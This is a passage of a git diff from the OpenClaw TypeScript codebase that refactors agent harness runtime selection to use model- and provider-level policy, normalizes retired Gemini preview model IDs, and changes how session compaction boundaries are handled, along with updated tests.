=> { - const config: OpenClawConfig = { + it("ignores legacy agentRuntime as a runtime policy source", () => { + const config = { agents: { defaults: { - agentRuntime: { id: "auto" }, + agentRuntime: { id: "codex" }, }, }, - }; + } as OpenClawConfig; expect( selectAgentHarness({ @@ -379,7 +393,7 @@ describe("selectAgentHarness", () => { ).toBe("pi"); }); - it("does not treat CLI runtime aliases as PI for OpenAI agent model runs", async () => { + it("ignores legacy agent CLI runtime aliases for OpenAI agent model runs", async () => { registerSuccessfulCodexHarness(); const config: OpenClawConfig = { agents: { @@ -403,7 +417,7 @@ describe("selectAgentHarness", () => { expect(piRunAttempt).not.toHaveBeenCalled(); }); - it("keeps an existing session pinned to PI even when config now forces a plugin harness", () => { + it("ignores existing session PI pins when provider policy forces a plugin harness", () => { registerFailingCodexHarness(); expect( @@ -411,12 +425,12 @@ describe("selectAgentHarness", () => { provider: "codex", modelId: "gpt-5.4", agentHarnessId: "pi", - config: { agents: { defaults: { agentRuntime: { id: "codex" } } } }, + config: providerRuntimeConfig("codex", "codex"), }).id, - ).toBe("pi"); + ).toBe("codex"); }); - it("keeps an existing session pinned to its plugin harness even when env now forces PI", () => { + it("ignores env-forced PI for OpenAI default runtime selection", () => { process.env.OPENCLAW_AGENT_RUNTIME = "pi"; registerFailingCodexHarness(); diff --git a/src/agents/harness/selection.ts b/src/agents/harness/selection.ts index e1aec57b93f..52e2e9814d7 100644 --- a/src/agents/harness/selection.ts +++ b/src/agents/harness/selection.ts @@ -1,37 +1,21 @@ -import type { AgentRuntimePolicyConfig } from "../../config/types.agents-shared.js"; import type { OpenClawConfig } from "../../config/types.openclaw.js"; import { formatErrorMessage } from "../../infra/errors.js"; import { createSubsystemLogger } from "../../logging/subsystem.js"; -import { normalizeAgentId } from "../../routing/session-key.js"; -import { resolveAgentRuntimePolicy } from "../agent-runtime-policy.js"; -import { listAgentEntries, resolveSessionAgentIds } from "../agent-scope.js"; -import { isCliRuntimeAlias } from "../model-runtime-aliases.js"; -import { - isOpenAICodexProvider, - openAIProviderUsesCodexRuntimeByDefault, -} from "../openai-codex-routing.js"; import type { CompactEmbeddedPiSessionParams } from "../pi-embedded-runner/compact.types.js"; import type { EmbeddedRunAttemptParams, EmbeddedRunAttemptResult, } from "../pi-embedded-runner/run/types.js"; -import { - normalizeEmbeddedAgentRuntime, - resolveEmbeddedAgentRuntime, - type EmbeddedAgentRuntime, -} from "../pi-embedded-runner/runtime.js"; import type { EmbeddedPiCompactResult } from "../pi-embedded-runner/types.js"; import { createPiAgentHarness } from "./builtin-pi.js"; +import { resolveAgentHarnessPolicy, type AgentHarnessPolicy } from "./policy.js"; import { listRegisteredAgentHarnesses } from "./registry.js"; import type { AgentHarness, AgentHarnessSupport } from "./types.js"; import { adaptAgentHarnessToV2, runAgentHarnessV2LifecycleAttempt } from "./v2.js"; const log = createSubsystemLogger("agents/harness"); - -type AgentHarnessPolicy = { - runtime: EmbeddedAgentRuntime; - runtimeSource?: "env" | "agent" | "defaults" | "implicit" | "pinned"; -}; +export { resolveAgentHarnessPolicy }; +export type { AgentHarnessPolicy }; type AgentHarnessSelectionCandidate = { id: string; @@ -47,7 +31,6 @@ type AgentHarnessSelectionDecision = { policy: AgentHarnessPolicy; selectedHarnessId: string; selectedReason: - | "pinned" | "forced_pi" | "forced_plugin" // Auto mode chose a registered plugin harness that supports the provider/model. @@ -91,10 +74,7 @@ function selectAgentHarnessDecision(params: { sessionKey?: string; agentHarnessId?: string; }): AgentHarnessSelectionDecision { - const pinnedPolicy = resolvePinnedAgentHarnessPolicy({ - agentHarnessId: params.agentHarnessId, - }); - const policy = pinnedPolicy ?? resolveAgentHarnessPolicy(params); + const policy = resolveAgentHarnessPolicy(params); // PI is intentionally not part of the plugin candidate list. Explicit plugin // runtimes fail closed; only `auto` may route an unmatched turn to PI. const pluginHarnesses = listPluginAgentHarnesses(); @@ -104,7 +84,7 @@ function selectAgentHarnessDecision(params: { return buildSelectionDecision({ harness: piHarness, policy, - selectedReason: pinnedPolicy ? "pinned" : "forced_pi", + selectedReason: "forced_pi", candidates: listHarnessCandidates(pluginHarnesses), }); } @@ -114,7 +94,7 @@ function selectAgentHarnessDecision(params: { return buildSelectionDecision({ harness: forced, policy, - selectedReason: pinnedPolicy ? "pinned" : "forced_plugin", + selectedReason: "forced_plugin", candidates: listHarnessCandidates(pluginHarnesses), }); } @@ -249,20 +229,6 @@ function logAgentHarnessSelection( }); } -function resolvePinnedAgentHarnessPolicy(params: { - agentHarnessId: string | undefined; -}): AgentHarnessPolicy | undefined { - const { agentHarnessId } = params; - if (!agentHarnessId?.trim()) { - return undefined; - } - const runtime = normalizeEmbeddedAgentRuntime(agentHarnessId); - if (runtime === "auto") { - return undefined; - } - return { runtime, runtimeSource: "pinned" }; -} - export async function maybeCompactAgentHarnessSession( params: CompactEmbeddedPiSessionParams, ): Promise { @@ -271,7 +237,6 @@ export async function maybeCompactAgentHarnessSession( modelId: params.model, config: params.config, sessionKey: params.sessionKey, - agentHarnessId: params.agentHarnessId, }); if (!harness.compact) { if (harness.id !== "pi") { @@ -285,87 +250,3 @@ export async function maybeCompactAgentHarnessSession( } return harness.compact(params); } - -export function resolveAgentHarnessPolicy(params: { - provider?: string; - modelId?: string; - config?: OpenClawConfig; - agentId?: string; - sessionKey?: string; - env?: NodeJS.ProcessEnv; -}): AgentHarnessPolicy { - const env = params.env ?? process.env; - // Harness policy can be session-scoped because users may switch between agents - // with different strictness requirements inside the same gateway process. - const agentPolicy = resolveAgentEmbeddedHarnessConfig(params.config, { - agentId: params.agentId, - sessionKey: params.sessionKey, - }); - const defaultsPolicy = resolveAgentRuntimePolicy(params.config?.agents?.defaults); - const envRuntime = env.OPENCLAW_AGENT_RUNTIME?.trim(); - const agentRuntime = agentPolicy?.id?.trim(); - const defaultsRuntime = defaultsPolicy?.id?.trim(); - const runtimeSource = envRuntime - ? "env" - : agentRuntime - ? "agent" - : defaultsRuntime - ? "defaults" - : "implicit"; - const runtime = envRuntime - ? resolveEmbeddedAgentRuntime(env) - : normalizeEmbeddedAgentRuntime(agentRuntime ?? defaultsRuntime); - if ( - openAIProviderUsesCodexRuntimeByDefault({ provider: params.provider, config: params.config }) - ) { - if (runtime === "pi") { - if (runtimeSource === "implicit") { - return { runtime: "codex", runtimeSource }; - } - return { runtime, runtimeSource }; - } - if (runtime === "auto" || isCliRuntimeAlias(runtime)) { - return { runtime: "codex", runtimeSource }; - } - return { runtime, runtimeSource }; - } - if (isOpenAICodexProvider(params.provider)) { - if (runtime === "pi") { - if (runtimeSource === "implicit") { - return { runtime: "codex", runtimeSource }; - } - return { runtime, runtimeSource }; - } - if (runtime === "auto" || isCliRuntimeAlias(runtime)) { - return { runtime: "codex", runtimeSource }; - } - return { runtime, runtimeSource }; - } - if (isCliRuntimeAlias(runtime)) { - return { - runtime: "pi", - runtimeSource, - }; - } - return { - runtime, - runtimeSource, - }; -} - -function resolveAgentEmbeddedHarnessConfig( - config: OpenClawConfig | undefined, - params: { agentId?: string; sessionKey?: string }, -): AgentRuntimePolicyConfig | undefined { - if (!config) { - return undefined; - } - const { sessionAgentId } = resolveSessionAgentIds({ - config, - agentId: params.agentId, - sessionKey: params.sessionKey, - }); - return resolveAgentRuntimePolicy( - listAgentEntries(config).find((entry) => normalizeAgentId(entry.id) === sessionAgentId), - ); -} diff --git a/src/agents/live-target-matcher.test.ts b/src/agents/live-target-matcher.test.ts index 70233cb370f..c4eb87199e8 100644 --- a/src/agents/live-target-matcher.test.ts +++ b/src/agents/live-target-matcher.test.ts @@ -45,4 +45,16 @@ describe("createLiveTargetMatcher", () => { expect(matcher.matchesProvider("openrouter")).toBe(true); expect(matcher.matchesModel("openrouter", "openai/gpt-5.4")).toBe(true); }); + + it("normalizes retired Google Gemini filters before matching", () => { + const matcher = createLiveTargetMatcher({ + providerFilter: new Set(["google"]), + modelFilter: new Set(["google/gemini-3-pro-preview"]), + env, + }); + + expect(matcher.matchesProvider("google")).toBe(true); + expect(matcher.matchesModel("google", "gemini-3.1-pro-preview")).toBe(true); + expect(matcher.matchesModel("google", "gemini-3-flash-preview")).toBe(false); + }); }); diff --git a/src/agents/live-target-matcher.ts b/src/agents/live-target-matcher.ts index 833906534b5..6ab0a79b249 100644 --- a/src/agents/live-target-matcher.ts +++ b/src/agents/live-target-matcher.ts @@ -1,4 +1,5 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { normalizeGooglePreviewModelId } from "../plugin-sdk/provider-model-id-normalize.js"; import { normalizeLowercaseStringOrEmpty, normalizeOptionalLowercaseString, @@ -12,6 +13,15 @@ type ModelTarget = { modelId: string; }; +const GOOGLE_LIVE_TARGET_PROVIDERS = new Set(["google", "google-gemini-cli", "google-vertex"]); + +function normalizeLiveTargetModelId(provider: string, modelId: string): string { + const trimmed = modelId.trim(); + return GOOGLE_LIVE_TARGET_PROVIDERS.has(provider) + ? normalizeGooglePreviewModelId(trimmed) + : trimmed; +} + function normalizeCsvSet(values: Set | null): Set | null { if (!values) { return null; @@ -40,7 +50,9 @@ function parseModelTarget(raw: string): ModelTarget | null { }; } const provider = normalizeProviderId(trimmed.slice(0, slash)); - const modelId = normalizeLowercaseStringOrEmpty(trimmed.slice(slash + 1)); + const modelId = normalizeLowercaseStringOrEmpty( + normalizeLiveTargetModelId(provider, trimmed.slice(slash + 1)), + ); if (!provider || !modelId) { return null; } diff --git a/src/agents/model-ref-shared.ts b/src/agents/model-ref-shared.ts index 501436ce8ad..cd54bcb4170 100644 --- a/src/agents/model-ref-shared.ts +++ b/src/agents/model-ref-shared.ts @@ -1,3 +1,4 @@ +import { normalizeGooglePreviewModelId } from "../plugin-sdk/provider-model-id-normalize.js"; import { normalizeProviderModelIdWithManifest } from "../plugins/manifest-model-id-normalization.js"; import type { PluginManifestRecord } from "../plugins/manifest-registry.js"; import { normalizeLowercaseStringOrEmpty } from "../shared/string-coerce.js"; @@ -32,19 +33,27 @@ export function normalizeStaticProviderModelId( manifestPlugins?: readonly Pick[]; } = {}, ): string { + const normalizedProvider = normalizeProviderId(provider); if (options.allowManifestNormalization === false) { - return model; + return normalizeBuiltInProviderModelId(normalizedProvider, model); } - return ( + const manifestModelId = normalizeProviderModelIdWithManifest({ - provider, + provider: normalizedProvider, plugins: options.manifestPlugins, context: { - provider, + provider: normalizedProvider, modelId: model, }, - }) ?? model - ); + }) ?? model; + return normalizeBuiltInProviderModelId(normalizedProvider, manifestModelId); +} + +function normalizeBuiltInProviderModelId(provider: string, model: string): string { + if (provider === "google" || provider === "google-gemini-cli" || provider === "google-vertex") { + return normalizeGooglePreviewModelId(model); + } + return model; } function parseStaticModelRef(raw: string, defaultProvider: string): StaticModelRef | null { diff --git a/src/agents/model-runtime-aliases.ts b/src/agents/model-runtime-aliases.ts index 366a71b8968..6265dc2af22 100644 --- a/src/agents/model-runtime-aliases.ts +++ b/src/agents/model-runtime-aliases.ts @@ -1,6 +1,6 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; -import { normalizeAgentId } from "../routing/session-key.js"; -import { resolveAgentRuntimePolicy } from "./agent-runtime-policy.js"; +import { normalizeStaticProviderModelId } from "./model-ref-shared.js"; +import { resolveModelRuntimePolicy } from "./model-runtime-policy.js"; import { normalizeProviderId } from "./provider-id.js"; type LegacyRuntimeModelProviderAlias = { @@ -73,7 +73,8 @@ export function migrateLegacyRuntimeModelRef(raw: string): { if (!alias) { return null; } - const model = trimmed.slice(slash + 1).trim(); + const rawModel = trimmed.slice(slash + 1).trim(); + const model = normalizeStaticProviderModelId(alias.provider, rawModel); if (!model) { return null; } @@ -98,37 +99,26 @@ export function isCliRuntimeAlias(runtime: string | undefined): boolean { function resolveConfiguredRuntime(params: { cfg?: OpenClawConfig; + provider: string; agentId?: string; - runtimeOverride?: string; + modelId?: string; }): string | undefined { - const override = params.runtimeOverride?.trim(); - if (override) { - return normalizeProviderId(override); - } - if (params.agentId) { - const agentEntry = params.cfg?.agents?.list?.find( - (entry) => normalizeAgentId(entry.id) === normalizeAgentId(params.agentId ?? ""), - ); - const agentRuntime = resolveAgentRuntimePolicy(agentEntry)?.id?.trim(); - if (agentRuntime) { - return normalizeProviderId(agentRuntime); - } - } - const defaults = resolveAgentRuntimePolicy(params.cfg?.agents?.defaults)?.id?.trim(); - if (defaults) { - return normalizeProviderId(defaults); - } - return undefined; + return resolveModelRuntimePolicy({ + config: params.cfg, + provider: params.provider, + modelId: params.modelId, + agentId: params.agentId, + }).policy?.id?.trim(); } export function resolveCliRuntimeExecutionProvider(params: { provider: string; cfg?: OpenClawConfig; agentId?: string; - runtimeOverride?: string; + modelId?: string; }): string | undefined { const provider = normalizeProviderId(params.provider); - const runtime = resolveConfiguredRuntime(params); + const runtime = resolveConfiguredRuntime({ ...params, provider }); if (!runtime || runtime === "auto" || runtime === "pi") { return undefined; } diff --git a/src/agents/model-runtime-policy.ts b/src/agents/model-runtime-policy.ts new file mode 100644 index 00000000000..824de2a0363 --- /dev/null +++ b/src/agents/model-runtime-policy.ts @@ -0,0 +1,166 @@ +import type { AgentModelEntryConfig } from "../config/types.agent-defaults.js"; +import type { AgentRuntimePolicyConfig } from "../config/types.agents-shared.js"; +import type { ModelDefinitionConfig, ModelProviderConfig } from "../config/types.models.js"; +import type { OpenClawConfig } from "../config/types.openclaw.js"; +import { normalizeAgentId } from "../routing/session-key.js"; +import { listAgentEntries, resolveSessionAgentIds } from "./agent-scope.js"; +import { normalizeProviderId } from "./provider-id.js"; + +export type ModelRuntimePolicySource = "model" | "provider"; + +export type ResolvedModelRuntimePolicy = { + policy?: AgentRuntimePolicyConfig; + source?: ModelRuntimePolicySource; +}; + +function hasRuntimePolicy(value: AgentRuntimePolicyConfig | undefined): boolean { + return Boolean(value?.id?.trim()); +} + +function resolveProviderConfig( + config: OpenClawConfig | undefined, + provider: string | undefined, +): ModelProviderConfig | undefined { + if (!config?.models?.providers || !provider?.trim()) { + return undefined; + } + const providers = config.models.providers; + const direct = providers[provider]; + if (direct) { + return direct; + } + const normalizedProvider = normalizeProviderId(provider); + for (const [candidateProvider, providerConfig] of Object.entries(providers)) { + if (normalizeProviderId(candidateProvider) === normalizedProvider) { + return providerConfig; + } + } + return undefined; +} + +function normalizeModelIdForProvider( + provider: string | undefined, + modelId: string | undefined, +): string | undefined { + const trimmed = modelId?.trim(); + if (!trimmed) { + return undefined; + } + const slash = trimmed.indexOf("/"); + if (slash <= 0) { + return trimmed; + } + const modelProvider = normalizeProviderId(trimmed.slice(0, slash)); + const expectedProvider = normalizeProviderId(provider ?? ""); + if (expectedProvider && modelProvider !== expectedProvider) { + return undefined; + } + return trimmed.slice(slash + 1).trim() || undefined; +} + +function modelEntryMatches(params: { + entry: Pick; + provider: string | undefined; + modelId: string; +}): boolean { + const entryId = params.entry.id.trim(); + if (entryId === params.modelId) { + return true; + } + const slash = entryId.indexOf("/"); + if (slash <= 0) { + return false; + } + return ( + normalizeProviderId(entryId.slice(0, slash)) === normalizeProviderId(params.provider ?? "") && + entryId.slice(slash + 1).trim() === params.modelId + ); +} + +function modelKeyMatches(params: { + key: string; + provider: string | undefined; + modelId: string; +}): boolean { + return modelEntryMatches({ + entry: { id: params.key }, + provider: params.provider, + modelId: params.modelId, + }); +} + +function resolveAgentModelEntryRuntimePolicy(params: { + config?: OpenClawConfig; + provider?: string; + modelId?: string; + agentId?: string; + sessionKey?: string; +}): ResolvedModelRuntimePolicy { + const modelId = normalizeModelIdForProvider(params.provider, params.modelId); + if (!params.config || !modelId) { + return {}; + } + const { sessionAgentId } = resolveSessionAgentIds({ + config: params.config, + agentId: params.agentId, + sessionKey: params.sessionKey, + }); + const agentEntry = listAgentEntries(params.config).find( + (entry) => normalizeAgentId(entry.id) === sessionAgentId, + ); + const modelMaps: Array | undefined> = [ + agentEntry?.models, + params.config.agents?.defaults?.models, + ]; + for (const models of modelMaps) { + for (const [key, entry] of Object.entries(models ?? {})) { + if ( + modelKeyMatches({ key, provider: params.provider, modelId }) && + hasRuntimePolicy(entry?.agentRuntime) + ) { + return { policy: entry.agentRuntime, source: "model" }; + } + } + } + return {}; +} + +function resolveModelConfig(params: { + providerConfig?: ModelProviderConfig; + provider?: string; + modelId?: string; +}): ModelDefinitionConfig | undefined { + const modelId = normalizeModelIdForProvider(params.provider, params.modelId); + if (!modelId || !Array.isArray(params.providerConfig?.models)) { + return undefined; + } + return params.providerConfig.models.find((entry) => + modelEntryMatches({ entry, provider: params.provider, modelId }), + ); +} + +export function resolveModelRuntimePolicy(params: { + config?: OpenClawConfig; + provider?: string; + modelId?: string; + agentId?: string; + sessionKey?: string; +}): ResolvedModelRuntimePolicy { + const agentModelPolicy = resolveAgentModelEntryRuntimePolicy(params); + if (agentModelPolicy.policy) { + return agentModelPolicy; + } + const providerConfig = resolveProviderConfig(params.config, params.provider); + const modelConfig = resolveModelConfig({ + providerConfig, + provider: params.provider, + modelId: params.modelId, + }); + if (hasRuntimePolicy(modelConfig?.agentRuntime)) { + return { policy: modelConfig?.agentRuntime, source: "model" }; + } + if (hasRuntimePolicy(providerConfig?.agentRuntime)) { + return { policy: providerConfig?.agentRuntime, source: "provider" }; + } + return {}; +} diff --git a/src/agents/model-selection.test.ts b/src/agents/model-selection.test.ts index 78a1d6d6e7f..62a9c15b75d 100644 --- a/src/agents/model-selection.test.ts +++ b/src/agents/model-selection.test.ts @@ -311,6 +311,18 @@ describe("model-selection", () => { defaultProvider: "google", expected: { provider: "google", model: "gemini-3-flash-preview" }, }, + { + name: "normalizes retired google gemini 3 pro preview ids", + variants: ["google/gemini-3-pro-preview", "gemini-3-pro-preview"], + defaultProvider: "google", + expected: { provider: "google", model: "gemini-3.1-pro-preview" }, + }, + { + name: "normalizes retired gemini cli 3 pro preview ids", + variants: ["google-gemini-cli/gemini-3-pro-preview"], + defaultProvider: "google", + expected: { provider: "google-gemini-cli", model: "gemini-3.1-pro-preview" }, + }, { name: "normalizes gemini 3.1 flash-lite ids", variants: ["google/gemini-3.1-flash-lite", "gemini-3.1-flash-lite"], @@ -417,6 +429,17 @@ describe("model-selection", () => { }); }); + it("normalizes retired Gemini ids while migrating legacy Gemini CLI refs", () => { + expect(migrateLegacyRuntimeModelRef("google-gemini-cli/gemini-3-pro-preview")).toEqual({ + ref: "google/gemini-3.1-pro-preview", + legacyProvider: "google-gemini-cli", + provider: "google", + model: "gemini-3.1-pro-preview", + runtime: "google-gemini-cli", + cli: true, + }); + }); + it("round-trips normalized refs through modelKey", () => { const parsed = parseModelRef(" opus-4.6 ", "anthropic", { allowPluginNormalization: false, diff --git a/src/agents/openai-codex-routing.test.ts b/src/agents/openai-codex-routing.test.ts index 6be6b2e6590..ee0375c95ae 100644 --- a/src/agents/openai-codex-routing.test.ts +++ b/src/agents/openai-codex-routing.test.ts @@ -51,13 +51,12 @@ describe("OpenAI Codex routing policy", () => { ).toBe("openai-codex"); }); - it("honors explicit session PI pins when validating OpenAI auth profiles", () => { + it("ignores session PI pins when validating OpenAI auth profiles", () => { expect( listOpenAIAuthProfileProvidersForAgentRuntime({ provider: "openai", harnessRuntime: "codex", - sessionAgentRuntimeOverride: "pi", }), - ).toEqual(["openai", "openai-codex"]); + ).toEqual(["openai-codex"]); }); }); diff --git a/src/agents/openai-codex-routing.ts b/src/agents/openai-codex-routing.ts index 52c8386e475..ef8e147da06 100644 --- a/src/agents/openai-codex-routing.ts +++ b/src/agents/openai-codex-routing.ts @@ -112,17 +112,12 @@ export function listOpenAIAuthProfileProvidersForAgentRuntime(params: { provider: string; harnessRuntime?: string; agentHarnessId?: string; - sessionAgentHarnessId?: string; - sessionAgentRuntimeOverride?: string; }): string[] { if (!isOpenAIProvider(params.provider)) { return [params.provider]; } const runtime = normalizeEmbeddedAgentRuntime( - normalizeExplicitRuntimePin(params.sessionAgentRuntimeOverride) ?? - normalizeExplicitRuntimePin(params.sessionAgentHarnessId) ?? - normalizeExplicitRuntimePin(params.agentHarnessId) ?? - params.harnessRuntime, + normalizeExplicitRuntimePin(params.agentHarnessId) ?? params.harnessRuntime, ); if (runtime === "codex") { return [OPENAI_CODEX_PROVIDER_ID]; diff --git a/src/agents/pi-embedded-block-chunker.test.ts b/src/agents/pi-embedded-block-chunker.test.ts index f599405eb79..4f9a69adc94 100644 --- a/src/agents/pi-embedded-block-chunker.test.ts +++ b/src/agents/pi-embedded-block-chunker.test.ts @@ -17,6 +17,14 @@ function drainChunks(chunker: EmbeddedBlockChunker, force = false) { return chunks; } +function expectChunksWithinLength(chunks: string[], maxLength: number) { + expect( + chunks + .map((chunk, index) => ({ index, length: chunk.length })) + .filter((entry) => entry.length > maxLength), + ).toEqual([]); +} + describe("EmbeddedBlockChunker", () => { it("breaks at paragraph boundary right after fence close", () => { const chunker = new EmbeddedBlockChunker({ @@ -95,7 +103,7 @@ describe("EmbeddedBlockChunker", () => { const chunks = drainChunks(chunker); - expect(chunks.every((chunk) => chunk.length <= 10)).toBe(true); + expectChunksWithinLength(chunks, 10); expect(chunks).toEqual(["abcdefghij", "k"]); expect(chunker.bufferedText).toBe("Rest"); }); diff --git a/src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts b/src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts index 207e721ac81..3cb2e8c79aa 100644 --- a/src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts +++ b/src/agents/pi-embedded-runner.guard.waitforidle-before-flush.test.ts @@ -138,4 +138,43 @@ describe("flushPendingToolResultsAfterIdle", () => { }); expect(vi.getTimerCount()).toBe(0); }); + + it("immediately clears pending tool results without waiting when timeoutMs is 0 or less", async () => { + const sm = guardSessionManager(SessionManager.inMemory()); + const appendMessage = sm.appendMessage.bind(sm) as unknown as (message: AgentMessage) => void; + + // Agent that never resolves idle + const idle = deferred(); + const waitForIdleSpy = vi.fn(() => idle.promise); + const agent = { waitForIdle: waitForIdleSpy }; + + appendMessage(assistantToolCall("call_orphan_immediate")); + + // Should resolve immediately without advancing timers + await flushPendingToolResultsAfterIdle({ + agent, + sessionManager: sm, + timeoutMs: 0, + clearPendingOnTimeout: true, + }); + + // Verify waitForIdle was completely bypassed + expect(waitForIdleSpy).not.toHaveBeenCalled(); + + // The pending tool result should be cleared immediately. + expect(getMessages(sm).map((m) => m.role)).toEqual(["assistant"]); + + // Test negative timeout as well + appendMessage(assistantToolCall("call_orphan_negative")); + await flushPendingToolResultsAfterIdle({ + agent, + sessionManager: sm, + timeoutMs: -100, + clearPendingOnTimeout: true, + }); + + // Verify waitForIdle was still bypassed + expect(waitForIdleSpy).not.toHaveBeenCalled(); + expect(getMessages(sm).map((m) => m.role)).toEqual(["assistant", "assistant"]); + }); }); diff --git a/src/agents/pi-embedded-runner/compact.ts b/src/agents/pi-embedded-runner/compact.ts index 1ebc6e00af6..79810272482 100644 --- a/src/agents/pi-embedded-runner/compact.ts +++ b/src/agents/pi-embedded-runner/compact.ts @@ -323,10 +323,34 @@ function summarizeCompactionMessages(messages: AgentMessage[]): CompactionMessag historyTextChars, toolResultChars, estTokens: tokenEstimationFailed ? undefined : estTokens, - contributors: contributors.toSorted((a, b) => b.chars - a.chars).slice(0, 3), + contributors: selectTopContributors(contributors), }; } +function selectTopContributors( + contributors: CompactionMessageMetrics["contributors"], +): CompactionMessageMetrics["contributors"] { + const selected: CompactionMessageMetrics["contributors"] = []; + for (const contributor of contributors) { + let insertAt = selected.length; + for (let index = 0; index < selected.length; index += 1) { + if (contributor.chars > selected[index].chars) { + insertAt = index; + break; + } + } + if (insertAt < 3) { + selected.splice(insertAt, 0, contributor); + if (selected.length > 3) { + selected.pop(); + } + } else if (selected.length < 3) { + selected.push(contributor); + } + } + return selected; +} + function containsRealConversationMessages(messages: AgentMessage[]): boolean { return messages.some((message, index, allMessages) => hasRealConversationContent(message, allMessages, index), diff --git a/src/agents/pi-embedded-runner/extra-params.cache-retention-default.test.ts b/src/agents/pi-embedded-runner/extra-params.cache-retention-default.test.ts index 88ca7d7a33f..d011590e90d 100644 --- a/src/agents/pi-embedded-runner/extra-params.cache-retention-default.test.ts +++ b/src/agents/pi-embedded-runner/extra-params.cache-retention-default.test.ts @@ -26,7 +26,9 @@ function applyAndExpectWrapped(params: { params.model, ); - expect(agent.streamFn).toEqual(expect.any(Function)); + if (!agent.streamFn) { + throw new Error("expected extra params to wrap streamFn"); + } } // Mock the logger to avoid noise in tests diff --git a/src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts b/src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts index fb14b807034..de12933f76e 100644 --- a/src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts +++ b/src/agents/pi-embedded-runner/manual-compaction-boundary.test.ts @@ -157,6 +157,67 @@ describe("hardenManualCompactionBoundary", () => { ]); }); + it("keeps the recent tail when manual compaction produced an empty summary", async () => { + const dir = await makeTmpDir(); + const session = SessionManager.create(dir, dir); + + session.appendMessage({ role: "user", content: "old question", timestamp: 1 }); + session.appendMessage(createAssistantTextMessage("old answer", 2)); + session.appendMessage({ role: "user", content: "fresh question", timestamp: 3 }); + const keepId = requireString(session.getBranch().at(-1)?.id, "keep id"); + session.appendMessage(createAssistantTextMessage("fresh answer", 4)); + session.appendCompaction("", keepId, 200); + const sessionFile = requireString(session.getSessionFile(), "session file"); + + const hardened = await hardenManualCompactionBoundary({ sessionFile }); + expect(hardened.applied).toBe(false); + expect(hardened.firstKeptEntryId).toBe(keepId); + expect(hardened.messages.map((message) => message.role)).toEqual([ + "compactionSummary", + "user", + "assistant", + ]); + expect(hardened.messages.map((message) => messageText(message)).join("\n")).toContain( + "fresh question", + ); + + const reopened = SessionManager.open(sessionFile); + const latest = reopened.getLeafEntry(); + expect(latest?.type).toBe("compaction"); + if (!latest || latest.type !== "compaction") { + throw new Error("expected latest leaf to be a compaction entry"); + } + expect(latest.firstKeptEntryId).toBe(keepId); + }); + + it("keeps the recent tail when manual compaction had no messages to summarize", async () => { + const dir = await makeTmpDir(); + const session = SessionManager.create(dir, dir); + + session.appendMessage({ role: "user", content: "fresh question", timestamp: 1 }); + const keepId = requireString(session.getBranch().at(-1)?.id, "keep id"); + session.appendMessage(createAssistantTextMessage("fresh answer", 2)); + session.appendCompaction("No prior history.", keepId, 200); + const sessionFile = requireString(session.getSessionFile(), "session file"); + + const hardened = await hardenManualCompactionBoundary({ sessionFile }); + expect(hardened.applied).toBe(false); + expect(hardened.firstKeptEntryId).toBe(keepId); + expect(hardened.messages.map((message) => message.role)).toEqual([ + "compactionSummary", + "user", + "assistant", + ]); + + const reopened = SessionManager.open(sessionFile); + const latest = reopened.getLeafEntry(); + expect(latest?.type).toBe("compaction"); + if (!latest || latest.type !== "compaction") { + throw new Error("expected latest leaf to be a compaction entry"); + } + expect(latest.firstKeptEntryId).toBe(keepId); + }); + it("is a no-op when the latest leaf is not a compaction entry", async () => { const dir = await makeTmpDir(); const session = SessionManager.create(dir, dir); diff --git a/src/agents/pi-embedded-runner/manual-compaction-boundary.ts b/src/agents/pi-embedded-runner/manual-compaction-boundary.ts index c615d877c67..2a1ebb05361 100644 --- a/src/agents/pi-embedded-runner/manual-compaction-boundary.ts +++ b/src/agents/pi-embedded-runner/manual-compaction-boundary.ts @@ -33,6 +33,42 @@ function replaceLatestCompactionBoundary(params: { }); } +function entryCreatesCompactionInputMessage(entry: SessionEntry): boolean { + return ( + entry.type === "message" || entry.type === "custom_message" || entry.type === "branch_summary" + ); +} + +function hasMessagesToSummarizeBeforeKeptTail(params: { + branch: SessionEntry[]; + compaction: CompactionEntry; +}): boolean { + const compactionIndex = params.branch.findIndex((entry) => entry.id === params.compaction.id); + const firstKeptIndex = params.branch.findIndex( + (entry) => entry.id === params.compaction.firstKeptEntryId, + ); + if (compactionIndex <= 0 || firstKeptIndex < 0 || firstKeptIndex >= compactionIndex) { + return false; + } + + let boundaryStartIndex = 0; + for (let i = compactionIndex - 1; i >= 0; i -= 1) { + const entry = params.branch[i]; + if (entry?.type !== "compaction") { + continue; + } + const previousFirstKeptIndex = params.branch.findIndex( + (candidate) => candidate.id === entry.firstKeptEntryId, + ); + boundaryStartIndex = previousFirstKeptIndex >= 0 ? previousFirstKeptIndex : i + 1; + break; + } + + return params.branch + .slice(boundaryStartIndex, firstKeptIndex) + .some((entry) => entryCreatesCompactionInputMessage(entry)); +} + export async function hardenManualCompactionBoundary(params: { sessionFile: string; preserveRecentTail?: boolean; @@ -56,8 +92,8 @@ export async function hardenManualCompactionBoundary(params: { }; } + const sessionContext = state.buildSessionContext(); if (params.preserveRecentTail) { - const sessionContext = state.buildSessionContext(); return { applied: false, firstKeptEntryId: leaf.firstKeptEntryId, @@ -67,7 +103,6 @@ export async function hardenManualCompactionBoundary(params: { } if (leaf.firstKeptEntryId === leaf.id) { - const sessionContext = state.buildSessionContext(); return { applied: false, firstKeptEntryId: leaf.id, @@ -76,6 +111,21 @@ export async function hardenManualCompactionBoundary(params: { }; } + if ( + !leaf.summary.trim() || + !hasMessagesToSummarizeBeforeKeptTail({ + branch: state.getBranch(leaf.id), + compaction: leaf, + }) + ) { + return { + applied: false, + firstKeptEntryId: leaf.firstKeptEntryId, + leafId: state.getLeafId() ?? undefined, + messages: sessionContext.messages, + }; + } + const replacedEntries = replaceLatestCompactionBoundary({ entries: state.getEntries(), compactionEntryId: leaf.id, @@ -86,11 +136,11 @@ export async function hardenManualCompactionBoundary(params: { }); await writeTranscriptFileAtomic(params.sessionFile, [header, ...replacedEntries]); - const sessionContext = replacedState.buildSessionContext(); + const replacedSessionContext = replacedState.buildSessionContext(); return { applied: true, firstKeptEntryId: leaf.id, leafId: replacedState.getLeafId() ?? undefined, - messages: sessionContext.messages, + messages: replacedSessionContext.messages, }; } diff --git 